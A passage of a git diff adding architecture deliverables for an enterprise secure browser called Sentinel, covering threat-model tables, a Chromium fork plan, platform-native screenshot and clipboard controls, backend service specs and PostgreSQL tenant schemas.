Elevation | privilege misuse | code signing + strict IPC ACL | host audit logs | disable host | +| 15 | Mobile app | Repudiation | bypassed capture controls | attestation + MDM policy | posture mismatch | block sensitive apps | +| 16 | Kafka stream | DoS | event backlog growth | partition scaling + quotas | consumer lag alerts | backpressure mode | +| 17 | OpenSearch | Info Disclosure | broad query leakage | field-level security | access anomalies | rotate creds | +| 18 | DNS resolver | Spoofing | DNS response poisoning | DNSSEC validation | mismatch telemetry | cache purge | +| 19 | Cloud firewall | Tampering | rules overwritten | signed policy commits | rule drift alerts | reapply last good | +| 20 | SIEM integration | Repudiation | dropped alerts | signed webhook receipts | heartbeat monitors | replay queue | +| 21 | Billing API | Tampering | meter manipulation | append-only usage ledger | reconciliation jobs | recompute invoices | +| 22 | License token | Spoofing | forged offline token | Ed25519 verification | invalid signature alerts | revoke tenant license | +| 23 | AI analyst | Info Disclosure | prompt data over-sharing | data minimization + redaction | prompt audit | block tool scope | +| 24 | RBI pool | Elevation | breakout exploit | hardened sandbox + seccomp | runtime IDS | rotate pool images | +| 25 | Device posture | Spoofing | fake attestation | TPM/SE check + challenge | attestation failures | quarantine device | +| 26 | Browser extension store | Tampering | malicious CRX | signed CRX allowlist only | extension integrity scan | remote disable | +| 27 | Notification service | Spoofing | fake incident mail | DKIM/SPF/DMARC + signed templates | deliverability alerts | rotate API keys | +| 28 | Key management | Elevation | over-privileged KMS roles | least privilege + breakglass workflow | IAM analyzer | revoke role | +| 29 | On-prem mirror | Tampering | stale package sync | signed manifest verification | mirror freshness checks | rollback bundle | +| 30 | Support tooling | Info Disclosure | engineer access overreach | JIT access + session recording | access review | credential reset | +| 31 | IdP login endpoint | Spoofing | unmanaged browser attempts direct SSO | mTLS + attestation gateway hard fail | deny_reason telemetry | gateway policy tighten | +| 32 | Attestation header | Replay | captured token reused | nonce cache + <=60s freshness + cert-device binding | replay counter alert | nonce cache flush + key rotation | + +## 9. ADR Set (Top 15) + +Each ADR includes context, options, decision, consequences, rejected alternatives, and revisit triggers. + +| ADR | Decision | Revisit Trigger | +|---|---|---| +| ADR-01 | Chromium fork + extension companion | patch burden exceeds budget for 2 quarters | +| ADR-02 | OPA/Rego as runtime policy engine | policy latency >10ms p95 sustained | +| ADR-03 | Keycloak-first identity broker | federation failure rate >0.5% p95 | +| ADR-04 | Row-level multi-tenancy with tenant keys | regulatory requirement for mandatory dedicated stacks | +| ADR-05 | Kafka backbone for eventing | cost or ops burden >25% over budget | +| ADR-06 | OpenSearch primary analytics store | query p95 >2s for critical workflows | +| ADR-07 | Hybrid PoP strategy | >25% users above RTT SLO for 60 days | +| ADR-08 | WireGuard for tunnel protocol | mobile/enterprise incompatibility unresolved | +| ADR-09 | Selective RBI fallback | exploit trends require full isolation by default | +| ADR-10 | MinIO/S3 object lock for recordings | legal hold integrity gaps | +| ADR-11 | Claude-assisted NL compiler with guardrails | policy miscompile rate >1% | +| ADR-12 | Stripe billing + internal usage ledger | enterprise billing custom terms dominate roadmap | +| ADR-13 | SLSA L3 supply-chain goal | release signing incidents occur | +| ADR-14 | Redis for policy cache and revocation fanout | stale policy incidents >0.1% | +| ADR-15 | Multi-cloud reference architecture from v1 | one cloud reaches >90% customer footprint | +| ADR-16 | 4-layer browser-bound IdP enforcement stack | attestation-related false rejects >1% over 7 days or bypass observed | + +### ADR Detail Template Applied (example: ADR-04) + +- **Context**: Sentinel requires day-one MSSP multi-tenancy with auditable isolation and cost efficiency. +- **Options considered**: schema-per-tenant, row-level security (RLS), dedicated stack per tenant. +- **Decision**: use RLS + tenant-scoped encryption keys; dedicated stack optional enterprise add-on. +- **Consequences**: positive: operational scale and lower cost; negative: strict authorization testing needed; neutral: more complex migration logic. +- **Alternatives rejected**: + - schema-per-tenant rejected due migration sprawl and schema drift risk. + - dedicated-stack-only rejected due high fixed infrastructure cost at early stage. +- **Revisit trigger**: mandatory residency/isolation contracts requiring physical isolation. + +## 10. Assumptions & Open Questions + +### Assumptions +1. EKS-managed Kubernetes is acceptable for production control plane in v1. +2. Tenant isolation can be validated with automated adversarial tests in CI. +3. Regional PoP expansion follows commercial traction. + +### Open Questions +1. Which geographies require sovereign cloud first? +2. What is the strict contractual RTO target for Bamboo vs external customers? +3. Should dedicated stack become default for GACA-certified tier? + +**Deliverable 2 of 15 complete. Ready for Deliverable 3 — proceed?** diff --git a/docs/deliverables/03-chromium-fork-engineering-plan.md b/docs/deliverables/03-chromium-fork-engineering-plan.md new file mode 100644 index 00000000..e1f300ad --- /dev/null +++ b/docs/deliverables/03-chromium-fork-engineering-plan.md @@ -0,0 +1,164 @@ +# Deliverable 3: Chromium Fork Engineering Plan + +## Scope Statement + +This document defines how Sentinel maintains a Chromium fork across desktop and mobile channels with reproducible builds, secure update delivery, telemetry replacement, signing/notarization, and explicit performance budgets. + +## 1. Upstream Strategy + +| Item | Decision | +|---|---| +| Base channel | Chromium stable branch, weekly security patch pull | +| Merge model | Rebase fork branch onto upstream stable tags; hotfix branch for zero-days | +| Upstream-first policy | Generic fixes contributed upstream when not Sentinel-specific | +| Security SLA | critical Chromium CVEs patched and released within 72 hours | + +### ADR-03-01: Stable-track Forking +- **Context**: balancing exploit response with patch complexity. +- **Options**: stable only, beta lead, ESR-like freeze. +- **Decision**: stable + rapid security cherry-pick. +- **Consequences**: manageable churn, near-current security posture, moderate patch conflict. +- **Rejected**: beta lead rejected due instability; long freeze rejected due vulnerability exposure. +- **Revisit trigger**: if median conflict count >30 files per rebase cycle. + +## 2. Build Toolchain and Platform Matrix + +| Platform | Toolchain | Artifact | +|---|---|---| +| macOS x64/arm64 | `depot_tools`, GN, ninja, Xcode 16 SDK | `.app` + `.pkg` | +| Windows x64 | Visual Studio 2022 Build Tools, GN, ninja | `.exe` + `.msi` | +| Linux x64/arm64 | clang/lld, GN, ninja | `.deb`, `.rpm`, AppImage | +| Android | Chromium Android GN build, Gradle wrappers | `.aab` | +| iOS | WKWebView wrapper shell + native controls | `.ipa` | + +## 3. Reproducible Builds and Supply Chain + +- SLSA L3 target with provenance attestations generated in CI. +- Hermetic build containers per platform lane. +- Deterministic build flags and pinned dependency revisions. +- Artifact signing and digest verification prior to channel promotion. + +### Measurement Plan + +| Metric | Target | Method | +|---|---|---| +| Rebuild drift | byte-identical or known deterministic delta | reproducibility CI job daily | +| Build provenance coverage | 100% release artifacts | cosign/sigstore attestation check | +| Dependency pinning | 100% third-party pinned by commit or checksum | policy lint in CI | + +## 4. Code Signing and Distribution + +| Platform | Signing Path | +|---|---| +| macOS | Apple Developer ID Application + notarization + stapling | +| Windows | EV Authenticode + timestamping | +| Linux | repository metadata signing (GPG) | +| Android | Play App Signing + Play Integrity | +| iOS | App Store distribution + device attestation controls | + +## 5. Patch Management and Branching + +| Branch | Purpose | +|---|---| +| `sentinel/chromium-stable` | baseline synced branch | +| `sentinel/security-hotfix/*` | CVE-specific rapid patching | +| `sentinel/feature/*` | product-specific deltas | +| `sentinel/release/*` | signed release candidates | + +Conflict resolution order: +1. Security patch compatibility +2. Sandbox/integrity behavior +3. Policy enforcement hooks +4. UX branding and non-critical patches + +## 6. Subsystems to Modify + +| Subsystem Path | Purpose | +|---|---| +| `//chrome/browser/policy/*` | policy fetch and enforcement hooks | +| `//chrome/browser/ui/*` | work-profile UI indicators, DLP prompts | +| `//chrome/browser/download/*` | download intercept + policy gate | +| `//content/browser/*` | renderer/browser process policy checks | +| `//components/safe_browsing/*` | replace with Sentinel threat service client | +| `//components/password_manager/*` | Sentinel vault integration mode | +| `//services/network/*` | DNS policy and gateway route policy | +| `//extensions/*` | curated extension store controls | +| `//third_party/blink/renderer/*` | DOM event hooks for prompt/clipboard controls | + +## 7. Rebranding Checklist + +- Product name strings, icon set, startup splash, about page. +- Default homepage and policy-controlled search provider. +- User agent token `Sentinel/` appended with enterprise mode flag. +- Omaha-compatible update endpoint domains replaced with Sentinel update service. + +## 8. Telemetry Stripping and Replacements + +| Legacy Chromium Component | Sentinel Action | +|---|---| +| Metrics Reporting | disabled by default; replaced with tenant-controlled OpenTelemetry | +| Google Update channels | replaced with Sentinel update service | +| Safe Browsing cloud calls | replaced with self-hosted threat lookup API | +| Crash reporting | redirected to self-hosted Sentry-compatible endpoint | + +## 9. Safe Browsing Replacement Architecture + +```mermaid +flowchart LR + B[Browser URL/Download Event] --> C[Local Bloom Filter Cache] + C -->|miss| API[Threat Verdict API] + API --> FEED[MISP/OpenCTI/Commercial Feeds] + API --> SCORE[Risk Scoring Engine] + SCORE --> API + API --> B +``` + +## 10. Extension Store Replacement + +- Sentinel curated CRX repository with signed extension manifests. +- Allowlist policy can pin extension IDs and versions. +- Runtime extension integrity checks every launch and every 6 hours. + +## 11. Performance Budgets + +| Metric | Budget | Enforcement | +|---|---|---| +| Binary size increase vs stock Chromium | `<=20%` | CI artifact size gate | +| Cold-start regression | `<=15%` | startup benchmark suite | +| RAM regression at 10-tab workload | `<=10%` | perf lab with scripted traces | +| Policy decision overhead in renderer path | `<5ms` p95 | in-process instrumentation | + +## 12. License and Attribution + +- Preserve Chromium BSD notices and bundled third-party attributions. +- Automated NOTICE generation per release. +- OSS scanner gate for incompatible license introduction. + +## 13. Mobile Strategy + +| Platform | Strategy | +|---|---| +| Android | Chromium-based managed browser app with work-profile controls | +| iOS | WKWebView-based managed shell with network/content filter integrations; full Chromium fork not feasible on iOS | + +## 14. Threat Model (STRIDE, Component-Level) + +| Threat | Mitigation | Detection | Recovery | +|---|---|---|---| +| Malicious update package | signature + TUF metadata validation | signature failure alert | channel rollback | +| Renderer exploit chain | sandbox hardening + exploit heuristics | crash/anomaly correlation | emergency patch | +| Unauthorized extension sideload | signed allowlist only | extension drift event | remote disable | +| Policy bypass via local tampering | signed policy bundles + hash validation | policy checksum mismatch | force refresh | +| Data exfiltration via clipboard | per-origin clipboard policy + user prompts | exfil event stream | policy tighten | + +## 15. Assumptions & Open Questions + +### Assumptions +1. Dedicated Chromium specialist resources are available through remote hiring. +2. macOS notarization and Windows EV certificates are obtainable before beta. + +### Open Questions +1. Is enterprise private extension publishing needed in private beta or GA? +2. Should LTS channel lag by 8 or 12 weeks from stable? + +**Deliverable 3 of 15 complete. Ready for Deliverable 4 — proceed?** diff --git a/docs/deliverables/04-per-platform-native-implementation.md b/docs/deliverables/04-per-platform-native-implementation.md new file mode 100644 index 00000000..45246131 --- /dev/null +++ b/docs/deliverables/04-per-platform-native-implementation.md @@ -0,0 +1,171 @@ +# Deliverable 4: Per-Platform Native Implementation + +## Scope Statement + +This document defines platform-native controls for macOS, Windows, Linux, iOS, and Android, including anti-tampering, screenshot protection realities, clipboard isolation, installer/update mechanics, native messaging constraints, and platform threat models. + +## 1. Cross-Platform Design Principles + +1. Enforce policy as close to OS primitives as possible. +2. Keep browser UX behavior consistent while documenting platform limitations. +3. Prefer signed and attestable execution paths over opaque anti-debug tricks. +4. Expose control capability matrix to admins (supported/limited/unsupported by OS). + +## 2. Platform Capability Matrix + +| Capability | macOS | Windows | Linux | iOS | Android | +|---|---|---|---|---|---| +| Screenshot deterrence | strong | strong | limited on Wayland | medium | strong | +| Clipboard isolation | strong | strong | medium | medium | strong | +| Device attestation | medium | strong | medium | strong | strong | +| Anti-tamper depth | medium-high | high | medium | medium | medium-high | +| Auto-update flexibility | high | high | high | app-store constrained | app-store constrained | + +## 3. macOS Implementation + +### Build + Signing +- Universal binary (`arm64`, `x86_64`) via Xcode and GN. +- Developer ID signing, hardened runtime, notarization, stapled tickets. + +### Anti-Tampering +- Endpoint Security framework for process events and tamper telemetry. +- Entitlements: minimal `com.apple.security.cs.*` profile; no unsupported private entitlements. +- LaunchDaemon for posture helper and LaunchAgent for user session helper. + +### Screenshot Blocking (macOS reality) +- Use `NSWindow.sharingType = .none` for sensitive windows. +- Detect screen capture authorization state using `CGPreflightScreenCaptureAccess`. +- On capture start, blur sensitive surfaces and suspend content rendering. +- No kernel-level interception of `kCGDisplayStream...`; not technically viable. + +### Clipboard Isolation +- Enforce per-origin clipboard read/write policy in browser process. +- Use temporary per-profile clipboard vault with TTL (default 60s) for sensitive context. + +## 4. Windows Implementation + +### Anti-Tampering +- WDAC policy package for signed execution allowlist. +- VBS/HVCI compatibility required; optional PPL usage for helper service where feasible. +- AMSI integration for script/event scans in helper context. + +### Screenshot Blocking +- `SetWindowDisplayAffinity(hWnd, WDA_EXCLUDEFROMCAPTURE)` on Win10 2004+. +- Fallback `WDA_MONITOR` where unsupported. +- DWM edge cases logged; policy can degrade to watermark-only mode. + +### Clipboard Isolation +- Intercept clipboard actions via browser hooks + optional native helper monitoring. +- Block copy from restricted pages; sanitize paste into restricted contexts. + +## 5. Linux Implementation + +### Anti-Tampering +- seccomp-bpf profiles for helper binaries. +- AppArmor or SELinux profiles depending on distro. +- IMA/EVM optional for integrity-sensitive deployments. + +### Screenshot Blocking +- X11: partial deterrence via window hints and overlay modes. +- Wayland: compositor-governed; full prevention generally not possible. +- Admin UI must show "deterrence only" status on unsupported compositor paths. + +### Clipboard Isolation +- X11 selection/clipboard policy wrapper where available. +- Wayland clipboard control varies by compositor; enforce browser-local policy and redact operations. + +## 6. iOS Implementation + +### Anti-Tampering + Attestation +- DeviceCheck + App Attest bound to tenant enrollment. +- MDM payload ingestion for managed app restrictions. + +### Screenshot/Recording Response +- Observe `UIScreen.capturedDidChangeNotification`. +- Apply secure blur overlay and pause sensitive rendering. + +### Clipboard +- Gate paste actions via managed-app policy checks. + +## 7. Android Implementation + +### Anti-Tampering + Attestation +- Play Integrity API verdict bound to session token claims. +- Managed configuration for Android Enterprise Work Profile. + +### Screenshot Blocking +- `FLAG_SECURE` for sensitive Activities/Windows. +- Detect MediaProjection attempts where possible and trigger policy action. + +### Clipboard +- Work profile clipboard restrictions + browser-level restrictions for sensitive origins. + +## 8. Native Messaging Host Specification + +| Item | Requirement | +|---|---| +| Transport | stdin/stdout JSON-RPC over OS-managed host registration | +| Auth | mutual process identity checks + signed host binary | +| Policy | host capabilities scoped by tenant policy | +| Logging | structured events only, no raw sensitive content | + +## 9. Packaging and Update + +| Platform | Installer | Update Strategy | +|---|---|---| +| macOS | signed `.pkg` with pre/post scripts | Sparkle + Sentinel channel control | +| Windows | WiX `.msi` + optional bootstrapper | Omaha protocol-compatible updater | +| Linux | `.deb` / `.rpm` / AppImage / Flatpak | package repo + Omaha-like channel | +| iOS | `.ipa` App Store + MDM private distribution | App Store managed updates | +| Android | `.aab` Play + enterprise options | Play managed rollout | + +## 10. Threat Model by Platform (Sample 5 each) + +| Platform | Threat | Mitigation | +|---|---|---| +| macOS | TCC abuse to bypass capture detection | TCC state checks + user prompts + policy fallback | +| macOS | helper binary replacement | notarization + signature verification at startup | +| Windows | DLL injection into browser process | code integrity + exploit mitigation policies | +| Windows | screenshot API fallback bypass | capability validation + watermark fallback | +| Linux | Wayland compositor capture bypass | transparent admin warnings + watermark + RBI redirect | +| Linux | helper privilege escalation | seccomp + least-privileged service accounts | +| iOS | jailbroken device bypass | attestation fail => restricted policy mode | +| iOS | managed config tampering | MDM signature checks + periodic sync | +| Android | rooted device bypass | Play Integrity strict verdict requirement | +| Android | overlay attack during prompts | secure flags + foreground checks | + +## 11. Build-vs-Buy-vs-Integrate Notes + +| Capability | Decision | +|---|---| +| Desktop anti-tamper helpers | Build core, integrate OS-native trust primitives | +| Mobile attestation | Integrate first-party APIs (App Attest, Play Integrity) | +| Installer tooling | Use mature tooling (WiX, Sparkle, package managers) rather than bespoke | + +## 12. Performance Budgets + +| Budget Item | Target | +|---|---| +| Native helper CPU overhead | `<2%` average on enterprise laptop baseline | +| Clipboard decision latency | `<10ms` p95 local decision path | +| Screenshot policy response | `<100ms` from capture-state event to overlay action | + +## 13. Failure Modes + +| Failure | Detection | Recovery | +|---|---|---| +| Attestation API outage | posture service health checks | fail-safe restricted mode | +| Update signature mismatch | updater verify logs | hold rollout + rollback channel | +| Native host crash loop | crash counter + watchdog | disable host feature and alert admin | + +## 14. Assumptions & Open Questions + +### Assumptions +1. Managed deployment is preferred for enterprise environments. +2. Wayland limitations are acceptable if transparently disclosed and policy-compensated. + +### Open Questions +1. Is kernel-level driver support on Windows in scope for v1 or post-GA hardening? +2. Which Linux distros are contractual support targets at beta? + +**Deliverable 4 of 15 complete. Ready for Deliverable 5 — proceed?** diff --git a/docs/deliverables/05-backend-platform-architecture.md b/docs/deliverables/05-backend-platform-architecture.md new file mode 100644 index 00000000..f1d0a718 --- /dev/null +++ b/docs/deliverables/05-backend-platform-architecture.md @@ -0,0 +1,115 @@ +# Deliverable 5: Backend Platform Architecture + +## Scope Statement + +This document specifies the backend architecture for the 22 required Sentinel services, including purpose, APIs, data model anchors, scale expectations, HA/DR strategy, observability standards, and security controls. + +## 1. Service Interaction Overview + +```mermaid +flowchart LR + AG[Attestation Gateway] --> ID[Identity Broker] + ID[Identity Broker] --> POL[Policy Engine] + TEN[Tenant Manager] --> POL + TEN --> LIC[Billing/Licensing] + POST[Device Posture] --> POL + TI[Threat Intel Hub] --> DLP[DLP Service] + DLP --> SES[Session Recording] + DLP --> AUD[Audit Log] + SES --> UEB[UEBA] + UEB --> AUD + ZTNA[VPN/ZTNA Gateway] --> DNS[DNS Filtering] + ZTNA --> CFW[Cloud Firewall] + RBI[Browser Isolation] --> POL + MAL[Malware Detonation] --> DLP + SHA[Shadow IT Discovery] --> POL + AI[AI Analyst] --> AUD + AI --> OS[(OpenSearch)] + ADM[Admin Dashboard API] --> ID + ADM --> TEN + NOTIF[Notification] --> ADM + UPD[Update Service] --> Browser[Sentinel Browser] +``` + +## 2. Service Mini-Architecture Catalog + +Legend: scale values are initial targets and are revisited quarterly. + +| # | Service | Purpose / API | Data Model | Scale + HA | Security + Threat Highlights | +|---:|---|---|---|---|---| +| 1 | Identity Broker | OIDC/SAML/SCIM adapter. REST + OIDC endpoints. | tenant, identity, session, claim_map | 5k auth/min/region; active-active | token spoofing mitigated with PKCE, nonce, key rotation | +| 2 | Tenant Manager | Provisioning, branding, entitlements. REST/gRPC. | tenant, org_unit, branding_profile | 200 tenant ops/min; multi-AZ DB | cross-tenant tampering mitigated by RLS + signed admin actions | +| 3 | Device Posture | ingest posture facts, attestation verification. gRPC. | device, posture_snapshot, attestation | 100k devices/region; queue-backed | fake attestation mitigated via TPM/App Attest/Play Integrity checks | +| 4 | Policy Engine | OPA bundle distribution/eval. REST + bundle API. | policy_bundle, assignment, decision_log | <10ms p95 eval; stateless scale | policy bypass mitigated by signed bundles + deny-by-default | +| 5 | DLP Inspection | regex/EDM/fingerprint/ML/OCR. gRPC sync + async. | classifier, match_meta, incident | 10k req/s shard; autoscale | sensitive leakage mitigated by no-raw-content logging | +| 6 | Threat Intel Hub | feed normalization STIX/TAXII. REST/TAXII. | indicator, feed_source, confidence | 2M IoCs/day ingest | feed poisoning mitigated by signature and source scoring | +| 7 | Dark Web Monitoring | breach ingestion + OSINT correlation. batch APIs. | breach_record, credential_alert | hourly ingest jobs; regional workers | legal risk mitigated by scoped crawling policy/legal review | +| 8 | RBI Service | isolated browsing fallback stream. WebRTC APIs. | isolation_session, stream_meta | 2k concurrent sessions/cluster | breakout mitigated by hardened container sandbox | +| 9 | VPN/ZTNA Gateway | identity-aware app tunnel via WireGuard. control/data APIs. | gateway, tunnel, app_route | 1Gbps/user target profile; anycast | tunnel abuse mitigated with per-identity ACL and revocation | +| 10 | Cloud Firewall | L4-L7 policy enforcement on gateways. gRPC control plane. | firewall_rule, policy_version | line-rate with eBPF, HA pair | rules tampering mitigated by signed policy commits | +| 11 | DNS Filtering | DoH/DoT resolver + policy engine. DNS APIs. | domain_rule, resolver_event | 100k qps/cluster | DNS poisoning mitigated with DNSSEC validation | +| 12 | Password Vault | E2EE credentials/passkeys. REST sync API. | vault_item, vault_key_ref, share | 10k sync ops/min | key disclosure mitigated by Argon2id + client-side encryption | +| 13 | Session Recording | rrweb/video ingest + immutable storage. ingest API. | session, chunk, redaction_mask | 5k concurrent record streams | tampering mitigated by object lock + hash chain | +| 14 | UEBA Analytics | streaming anomaly scoring (Flink). internal APIs. | behavior_feature, risk_score, baseline | 50k events/sec pipeline | model poisoning mitigated with feature validation | +| 15 | Audit Log | append-only, merkle-chained. REST query/proof API. | audit_event, merkle_root, anchor | 20k writes/sec; cross-region replicate | repudiation mitigated with signed events and proofs | +| 16 | AI Analyst | Claude + RAG + tool-use orchestration. chat API. | investigation, prompt_trace, action_plan | 200 concurrent investigations | prompt injection mitigated via tool allowlist and redaction | +| 17 | Update Service | channel mgmt + deltas + kill switch. Omaha-compatible API. | release, channel, rollout, package_sig | 5M update checks/day | malicious update blocked by signature + manifest pinning | +| 18 | Billing/Licensing | Stripe billing + usage metering + offline tokens. REST. | subscription, usage_ledger, license_token | 100k metering events/min | invoice tampering mitigated with append-only usage ledger | +| 19 | Admin Dashboard API | GraphQL primary, REST adapter. | admin_view models, role bindings | 5k admin req/s | authz bugs mitigated with RBAC + policy checks | +| 20 | Notification | email/slack/teams/webhook/pagerduty dispatch. | notification_rule, dispatch_log | 1M notifications/day | spoofing mitigated via signed templates + domain auth | +| 21 | Malware Detonation | CAPE/Cuckoo + static scans + triage API. | sample, verdict, behavior_report | 2k samples/hr cluster | sandbox escape mitigated by hardened isolated worker nodes | +| 22 | Shadow IT Discovery | SaaS catalog, OAuth inventory, risk scoring. REST. | saas_app, oauth_grant, risk_score | 50k events/min parse | OAuth abuse mitigated by grant scope monitoring/revocation | +| 23 | Attestation Gateway | pre-IdP mTLS + attestation verification. REST endpoint for IdP fronting. | device_key, nonce_cache, attestation_decision | 10k auth checks/min/instance; horizontally scalable | browser spoofing/replay mitigated with Ed25519 checks + nonce cache + CIDR/UA controls | + +## 3. Build-vs-Buy-vs-Integrate Analysis (Key Components) + +| Service | Build | Buy | Integrate | Decision + TCO Note | +|---|---|---|---|---| +| Identity Broker | low-medium | Auth0/WorkOS | Keycloak | Integrate Keycloak; lower recurring cost | +| DLP Engine | high | Nightfall/Forcepoint | open models + OCR libs | Build core for differentiation; buy optional premium detectors | +| RBI | high | Menlo/API | Kasm/Neko | selective integrate first to control cost | +| UEBA | medium-high | Exabeam/Securonix | Flink + custom models | build incremental due custom browser features | +| Billing | low | Stripe | Stripe | buy/integrate fully | +| Attestation gateway | medium | Cloudflare Access | Pomerium/custom | build core validation path; optional managed edge in geo-heavy regions | + +## 4. Performance Budgets + +| Service Group | p95 Latency Target | Throughput Target | +|---|---|---| +| Identity + Policy | `<200ms` login roundtrip, `<10ms` policy eval | 5k auth/min, 20k decisions/s | +| Attestation Gateway | `<25ms` added auth latency | 10k attestation checks/min/instance | +| DLP Sync Path | `<50ms` decision | 10k req/s shard | +| Session Ingest | `<150ms` chunk acceptance | 5k concurrent sessions | +| Gateway | `<20ms` added RTT regional | 1Gbps/user target profile | + +## 5. Failure Mode Catalog + +| Failure Mode | Detect | Recover | +|---|---|---| +| Keycloak outage | auth health checks fail | failover realm/region, cached policy grace period | +| Attestation nonce cache unavailable | replay checks degrade | fail-closed for high-risk tenants; fail-open with alert for explicitly allowed lower tiers | +| Kafka lag growth | consumer lag SLO alert | autoscale consumers + backpressure | +| DLP model timeout | inference timeout metric | fallback to regex+EDM baseline decision | +| Object storage write latency | ingest ack delay | queue + multi-part retry | +| Gateway overload | packet drop / CPU alarms | auto-scale gateway pool + redirect region | + +## 6. Security Controls Baseline + +- mTLS for east-west service communication. +- SPIFFE/SPIRE identities for workloads. +- Browser-bound IdP controls: mTLS client cert + signed attestation header + gateway nonce checks. +- Per-service least-privilege IAM and secret scopes. +- Centralized audit events signed at source. +- OTel tracing and security events exported to Wazuh/OpenSearch. + +## 7. Assumptions & Open Questions + +### Assumptions +1. Kubernetes is acceptable for both control and most data-plane microservices. +2. Managed Kafka/OpenSearch offerings are acceptable in initial regions. + +### Open Questions +1. Which services require dedicated per-tenant deployment at private beta? +2. Is blockchain anchoring enabled by default for Enterprise or opt-in only? + +**Deliverable 5 of 15 complete. Ready for Deliverable 6 — proceed?** diff --git a/docs/deliverables/06-data-model-schemas-and-multi-tenancy.md b/docs/deliverables/06-data-model-schemas-and-multi-tenancy.md new file mode 100644 index 00000000..c0024b84 --- /dev/null +++ b/docs/deliverables/06-data-model-schemas-and-multi-tenancy.md @@ -0,0 +1,183 @@ +# Deliverable 6: Data Model, Schemas, and Multi-Tenancy + +## Scope Statement + +This document defines canonical entities, PostgreSQL schema patterns, partitioning, tenant isolation, encryption strategy, retention controls, DSR workflows, backup/restore, and migration policy. + +## 1. Multi-Tenancy Decision + +### ADR-06-01: Row-Level Security (RLS) Primary +- **Context**: Sentinel requires day-one MSSP multi-tenancy while preserving operational efficiency. +- **Options**: schema-per-tenant, database-per-tenant, row-level security. +- **Decision**: row-level with strict `tenant_id` propagation and policy-enforced access. +- **Consequences**: efficient operations and analytics; requires strict test coverage and query linting. +- **Rejected**: schema-per-tenant (migration burden), db-per-tenant (high fixed costs). +- **Revisit trigger**: regulated contracts requiring hard infra isolation by default. + +## 2. Core DDL (PostgreSQL) + +```sql +CREATE TABLE tenants ( + id UUID PRIMARY KEY, + slug TEXT UNIQUE NOT NULL, + name TEXT NOT NULL, + tier TEXT NOT NULL, + region TEXT NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT now() +); + +CREATE TABLE users ( + id UUID PRIMARY KEY, + tenant_id UUID NOT NULL REFERENCES tenants(id), + external_subject TEXT NOT NULL, + email TEXT NOT NULL, + role TEXT NOT NULL, + status TEXT NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + UNIQUE (tenant_id, external_subject) +); + +CREATE TABLE devices ( + id UUID PRIMARY KEY, + tenant_id UUID NOT NULL REFERENCES tenants(id), + user_id UUID REFERENCES users(id), + platform TEXT NOT NULL, + posture_score INT NOT NULL, + attestation_state TEXT NOT NULL, + last_seen_at TIMESTAMPTZ NOT NULL +); + +CREATE TABLE policies ( + id UUID PRIMARY KEY, + tenant_id UUID NOT NULL REFERENCES tenants(id), + version INT NOT NULL, + bundle_sha256 TEXT NOT NULL, + state TEXT NOT NULL, + created_by UUID REFERENCES users(id), + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + UNIQUE (tenant_id, version) +); + +CREATE TABLE dlp_incidents ( + id UUID PRIMARY KEY, + tenant_id UUID NOT NULL REFERENCES tenants(id), + user_id UUID REFERENCES users(id), + device_id UUID REFERENCES devices(id), + action TEXT NOT NULL, + classifier TEXT NOT NULL, + confidence NUMERIC(5,2) NOT NULL, + metadata JSONB NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT now() +); + +CREATE TABLE audit_events ( + id BIGSERIAL PRIMARY KEY, + tenant_id UUID NOT NULL REFERENCES tenants(id), + actor_type TEXT NOT NULL, + actor_id TEXT NOT NULL, + event_type TEXT NOT NULL, + payload JSONB NOT NULL, + event_hash TEXT NOT NULL, + prev_hash TEXT, + created_at TIMESTAMPTZ NOT NULL DEFAULT now() +) PARTITION BY RANGE (created_at); +``` + +## 3. RLS Example + +```sql +ALTER TABLE users ENABLE ROW LEVEL SECURITY; +CREATE POLICY users_tenant_isolation ON users +USING (tenant_id = current_setting('app.tenant_id')::uuid); +``` + +## 4. Partitioning Strategy + +| Table | Strategy | Retention | +|---|---|---| +| audit_events | monthly time partitions | 13 months hot + archive | +| dlp_incidents | monthly time partitions | 24 months | +| session_metadata | weekly partitions | 90 days hot + cold archive | +| ueba_features | daily partitions | 180 days | + +## 5. Encryption Strategy + +| Layer | Mechanism | +|---|---| +| Disk at rest | cloud-managed encryption (KMS-backed) | +| Column-level sensitive fields | `pgcrypto` for selected fields | +| Object blobs | envelope encryption with tenant master key | +| Session recordings | per-session DEK AES-256-GCM, wrapped by tenant KEK | + +## 6. Data Classification Tags + +| Class | Example Columns | +|---|---| +| Public | product catalog metadata | +| Internal | service latency metrics | +| Confidential | `users.email`, SaaS inventory metadata | +| Restricted-PCI-or-PII | DLP match metadata, compliance evidence attachments | + +## 7. Retention and Compliance Matrix + +| Data Type | Default Retention | Control Drivers | +|---|---|---| +| Auth logs | 13 months | ISO A.8.16, PCI DSS Req 10 | +| Session recordings | 90 days hot, 1 year archive optional | legal hold and insider investigations | +| DLP incidents | 24 months | PCI DSS + forensic readiness | +| Billing records | 7 years | finance/legal standards | + +## 8. GDPR / UAE PDPL DSR Workflow + +1. Receive verified request. +2. Gather subject-linked keys (identity map service). +3. Export data package (JSON + evidence). +4. Delete or rectify where lawful. +5. Issue completion proof and audit event. + +### Right-to-be-Forgotten with Crypto-Shredding + +- Remove direct identifiers in relational data where legal. +- Destroy tenant-wrapped DEKs for session objects linked to subject where deletion requested. +- Preserve compliance-required minimal records with pseudonymization. + +## 9. Backup, Restore, PITR + +| Item | Policy | +|---|---| +| PostgreSQL backups | continuous WAL shipping + daily snapshot | +| PITR window | 35 days | +| Cross-region replication | async near-real-time | +| Restore drills | monthly runbook test with target RTO < 2h | + +## 10. Zero-Downtime Migration Policy + +- Expand-and-contract schema evolution. +- Backfill jobs idempotent and checkpointed. +- Application dual-read/dual-write window for risky migrations. +- Rollback tested per migration PR. + +## 11. ER Diagram + +```mermaid +erDiagram + TENANTS ||--o{ USERS : has + TENANTS ||--o{ DEVICES : has + TENANTS ||--o{ POLICIES : has + TENANTS ||--o{ DLP_INCIDENTS : has + TENANTS ||--o{ AUDIT_EVENTS : has + USERS ||--o{ DEVICES : owns + USERS ||--o{ DLP_INCIDENTS : triggers +``` + +## 12. Assumptions & Open Questions + +### Assumptions +1. PostgreSQL remains the system of record for tenant/business entities. +2. Event-heavy datasets can be partitioned and archived without query regressions. + +### Open Questions +1. Which jurisdictions require immutable retention beyond default windows? +2. Should high-sensitivity customers force per-tenant physical DB clusters? + +**Deliverable 6 of 15 complete. Ready for Deliverable 7 — proceed?** diff --git 